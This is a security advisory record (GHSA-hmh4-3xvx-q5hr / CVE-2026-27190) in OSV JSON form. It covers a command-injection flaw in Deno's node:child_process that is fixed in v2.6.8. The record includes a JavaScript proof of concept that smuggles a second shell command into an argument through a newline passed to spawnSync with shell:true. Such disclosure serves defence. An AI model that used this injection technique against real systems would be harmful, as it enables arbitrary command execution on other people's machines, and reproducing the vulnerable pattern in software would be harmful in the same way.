{"id":"GHSA-hmh4-3xvx-q5hr","summary":"Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process","details":"## Summary\nA command injection vulnerability exists in Deno's `node:child_process` implementation. \n\n## Reproduction\n```javascript\nimport { spawnSync } from \"node:child_process\";\nimport * as fs from \"node:fs\";\n\n// Cleanup\ntry { fs.unlinkSync('/tmp/rce_proof'); } catch {}\n\n// Create legitimate script\nfs.writeFileSync('/tmp/legitimate.ts', 'console.log(\"normal\");');\n\n// Malicious input with newline injection\nconst maliciousInput = `/tmp/legitimate.ts\\ntouch /tmp/rce_proof`;\n\n// Vulnerable pattern\nspawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {\n  shell: true,\n  encoding: 'utf-8'\n});\n\n// Verify\nconsole.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));\n```\n\nRun: `deno run --allow-all poc.mjs`\n\nThe file `/tmp/rce_proof` is created, confirming arbitrary command execution.\n\n## Mitigation\n\nAll users need to update to the patched version (Deno v2.6.8).","aliases":["CVE-2026-27190"],"modified":"2026-02-20T22:35:02.431472Z","published":"2026-02-19T20:31:41Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-02-19T20:31:41Z","nvd_published_at":"2026-02-20T21:19:28Z","cwe_ids":["CWE-78"]},"references":[{"type":"WEB","url":"https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27190"},{"type":"WEB","url":"https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4c"},{"type":"PACKAGE","url":"https://github.com/denoland/deno"},{"type":"WEB","url":"https://github.com/denoland/deno/releases/tag/v2.6.8"}],"affected":[{"package":{"name":"deno","ecosystem":"crates.io","purl":"pkg:cargo/deno"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.6.8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-hmh4-3xvx-q5hr/GHSA-hmh4-3xvx-q5hr.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}